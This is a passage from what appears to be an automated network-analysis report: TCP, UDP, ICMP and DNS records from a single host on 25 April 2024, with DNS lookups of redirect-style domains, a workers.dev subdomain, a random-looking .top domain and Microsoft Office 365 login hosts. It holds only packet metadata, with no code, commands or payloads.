Apr 25, 2024 20:37:05.347021103 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.350980043 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351047993 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351068020 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351108074 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.351123095 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351151943 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.351527929 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351577997 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.351594925 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351608992 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.351658106 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.352552891 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.352619886 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.352701902 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.355110884 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.355124950 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.605940104 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606034040 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.606101036 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606141090 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.606173992 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606194019 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606220961 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606230021 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.606304884 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606394053 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606416941 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.606477022 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606625080 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606657028 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.606751919 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606849909 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.606878042 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.606925011 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.607177973 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.607198954 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.607346058 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.607383013 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.607521057 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.607534885 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.607816935 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.607836962 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.608026028 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.608052969 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.608174086 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.608191013 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.879802942 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.880120039 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.880143881 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.881225109 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.881409883 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.881452084 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.881638050 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.881697893 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.882019043 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.882101059 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.882195950 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.882206917 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.882344961 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.882400990 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.882668018 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.882733107 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.882774115 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.882810116 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.885540962 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.885754108 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.885765076 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.887008905 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.887207031 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.887223005 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.887232065 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.887305021 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.887691975 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.887778044 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.887833118 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.887855053 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.888752937 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.888791084 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.888811111 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.888998985 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.889017105 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.889276028 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.889362097 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.889462948 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.889472961 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.890448093 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.890507936 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.890821934 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.890903950 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.890937090 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.890969038 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.891105890 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.891288042 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.891314030 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.892730951 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.892795086 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.893181086 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.893255949 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.893325090 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.893357038 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.936772108 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.936788082 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.936789036 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.936795950 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.936796904 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.936796904 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.936825991 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.936835051 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.936846972 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.936877012 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.983673096 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.983685017 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.983688116 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.983688116 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.199579954 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.202183962 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.223337889 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.223351955 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.223577976 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.223619938 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.223629951 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.223633051 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.224275112 CEST	49777	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.224308014 CEST	443	49777	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.224761009 CEST	49779	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.224772930 CEST	443	49779	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.332458019 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.332483053 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.332534075 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.332555056 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.333509922 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.333585978 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.334728956 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.334744930 CEST	443	49776	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.334804058 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.334827900 CEST	49776	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.346271038 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346299887 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346307993 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346334934 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346354961 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.346364975 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346391916 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346406937 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.346425056 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346436977 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.346443892 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346482992 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.346488953 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346524954 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.346664906 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.347651005 CEST	49778	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.347661972 CEST	443	49778	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.526257992 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.526320934 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.526386976 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.526408911 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.526459932 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.527297974 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.527462006 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.527517080 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.528050900 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.528068066 CEST	443	49775	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.528080940 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.528125048 CEST	49775	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.542398930 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.542522907 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.542546034 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.542588949 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.542650938 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.542685032 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.543333054 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:06.543401003 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.545160055 CEST	49774	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:06.545206070 CEST	443	49774	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:23.902007103 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:23.902040005 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:23.902107000 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:23.902384043 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:23.902401924 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:24.126014948 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:24.126313925 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:24.126332998 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:24.126631021 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:24.126949072 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:24.127005100 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:24.171713114 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:34.142957926 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:34.143027067 CEST	443	49788	108.177.122.103	192.168.2.7
Apr 25, 2024 20:37:34.143073082 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:37.575273991 CEST	49788	443	192.168.2.7	108.177.122.103
Apr 25, 2024 20:37:37.575297117 CEST	443	49788	108.177.122.103	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 20:36:21.249660969 CEST	53	49993	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:21.250974894 CEST	53	58877	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:21.876848936 CEST	53	63648	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:22.787065983 CEST	64182	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:22.787750006 CEST	52872	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:23.788232088 CEST	49796	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:23.788378000 CEST	55843	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:23.843868017 CEST	59944	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:23.844042063 CEST	65313	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:23.902120113 CEST	53	49796	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:23.902707100 CEST	53	55843	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:23.953917027 CEST	53	65313	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:23.955343962 CEST	53	59944	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:24.426285028 CEST	55736	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:24.426875114 CEST	56363	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:25.060631037 CEST	53	55736	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:25.073628902 CEST	53	56363	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:26.520843983 CEST	64818	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:26.521553993 CEST	52572	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:26.630836010 CEST	53	64818	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:26.632404089 CEST	53	52572	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:28.637233973 CEST	50702	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:28.639009953 CEST	64877	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:28.755594015 CEST	53	64877	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:28.755945921 CEST	53	50702	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:29.029895067 CEST	62525	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:29.220225096 CEST	58421	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:29.220683098 CEST	61919	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:29.713614941 CEST	53	58421	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:29.717041969 CEST	53	61919	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:29.768812895 CEST	50657	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:29.769023895 CEST	49604	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:29.881568909 CEST	53	50657	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:29.881841898 CEST	53	49604	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:30.989099026 CEST	53218	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:30.989383936 CEST	63179	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:31.101947069 CEST	53	63179	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:31.103029966 CEST	53	53218	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:33.133126020 CEST	51243	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:33.133336067 CEST	61186	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:33.244189024 CEST	53	61186	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:33.244504929 CEST	53	51243	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:33.857119083 CEST	52093	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:33.857388020 CEST	61500	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:33.968910933 CEST	53	61500	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:33.975267887 CEST	53	52093	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:40.356889963 CEST	53	59923	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:54.108195066 CEST	56409	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:54.108426094 CEST	55642	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:54.438088894 CEST	53	56409	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:54.477197886 CEST	53	55642	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:59.196943998 CEST	65425	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:59.197393894 CEST	63082	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:36:59.307212114 CEST	53	65425	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:59.309067011 CEST	53	63082	1.1.1.1	192.168.2.7
Apr 25, 2024 20:36:59.342047930 CEST	53	62659	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:02.262669086 CEST	50096	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:02.263087034 CEST	62267	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:02.373496056 CEST	53	50096	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:02.373598099 CEST	53	62267	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:03.135560989 CEST	64679	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:03.135723114 CEST	56358	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:05.108901978 CEST	53	53925	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:05.244605064 CEST	63037	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:05.244995117 CEST	53971	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:05.356228113 CEST	53	53971	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:05.605129004 CEST	53	63037	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:19.956248999 CEST	53	53648	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:22.409645081 CEST	53	57394	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:24.501136065 CEST	138	138	192.168.2.7	192.168.2.255
Apr 25, 2024 20:37:27.184290886 CEST	57410	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:27.184535980 CEST	56635	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:28.716927052 CEST	52436	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:28.716927052 CEST	52620	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:30.520962000 CEST	53	58909	1.1.1.1	192.168.2.7
Apr 25, 2024 20:37:30.857516050 CEST	52829	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:30.858318090 CEST	54527	53	192.168.2.7	1.1.1.1
Apr 25, 2024 20:37:48.361794949 CEST	53	60079	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 25, 2024 20:37:30.261662006 CEST	192.168.2.7	1.1.1.1	c291	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 20:36:22.787065983 CEST	192.168.2.7	1.1.1.1	0x3002	Standard query (0)	j4tpu.bpmsafelink.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:22.787750006 CEST	192.168.2.7	1.1.1.1	0x5399	Standard query (0)	j4tpu.bpmsafelink.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:23.788232088 CEST	192.168.2.7	1.1.1.1	0x62b1	Standard query (0)	clickme.thryv.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.788378000 CEST	192.168.2.7	1.1.1.1	0xb11	Standard query (0)	clickme.thryv.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:23.843868017 CEST	192.168.2.7	1.1.1.1	0xead6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:23.844042063 CEST	192.168.2.7	1.1.1.1	0xdf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:24.426285028 CEST	192.168.2.7	1.1.1.1	0x1f9c	Standard query (0)	taisanji.jp	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:24.426875114 CEST	192.168.2.7	1.1.1.1	0xce2f	Standard query (0)	taisanji.jp	65	IN (0x0001)	false
Apr 25, 2024 20:36:26.520843983 CEST	192.168.2.7	1.1.1.1	0xbe1c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:26.521553993 CEST	192.168.2.7	1.1.1.1	0x59b	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:28.637233973 CEST	192.168.2.7	1.1.1.1	0x832d	Standard query (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:28.639009953 CEST	192.168.2.7	1.1.1.1	0x6d3d	Standard query (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev	65	IN (0x0001)	false
Apr 25, 2024 20:36:29.029895067 CEST	192.168.2.7	1.1.1.1	0x95	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.220225096 CEST	192.168.2.7	1.1.1.1	0x59ec	Standard query (0)	taisanji.jp	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.220683098 CEST	192.168.2.7	1.1.1.1	0x6add	Standard query (0)	taisanji.jp	65	IN (0x0001)	false
Apr 25, 2024 20:36:29.768812895 CEST	192.168.2.7	1.1.1.1	0x5dae	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:29.769023895 CEST	192.168.2.7	1.1.1.1	0x439c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:30.989099026 CEST	192.168.2.7	1.1.1.1	0x11b5	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:30.989383936 CEST	192.168.2.7	1.1.1.1	0x2d54	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:33.133126020 CEST	192.168.2.7	1.1.1.1	0xcdb0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:33.133336067 CEST	192.168.2.7	1.1.1.1	0x885	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 25, 2024 20:36:33.857119083 CEST	192.168.2.7	1.1.1.1	0x357d	Standard query (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:33.857388020 CEST	192.168.2.7	1.1.1.1	0x2b17	Standard query (0)	e76abede.df1076c6f7230d3c23de9bcb.workers.dev	65	IN (0x0001)	false
Apr 25, 2024 20:36:54.108195066 CEST	192.168.2.7	1.1.1.1	0x5065	Standard query (0)	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:54.108426094 CEST	192.168.2.7	1.1.1.1	0xc0fc	Standard query (0)	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top	65	IN (0x0001)	false
Apr 25, 2024 20:36:59.196943998 CEST	192.168.2.7	1.1.1.1	0xb31a	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:36:59.197393894 CEST	192.168.2.7	1.1.1.1	0x5ec3	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Apr 25, 2024 20:37:02.262669086 CEST	192.168.2.7	1.1.1.1	0x453c	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:02.263087034 CEST	192.168.2.7	1.1.1.1	0xdc2c	Standard query (0)	outlook.office365.com	65	IN (0x0001)	false
Apr 25, 2024 20:37:03.135560989 CEST	192.168.2.7	1.1.1.1	0x220	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Apr 25, 2024 20:37:03.135723114 CEST	192.168.2.7	1.1.1.1	0x287	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
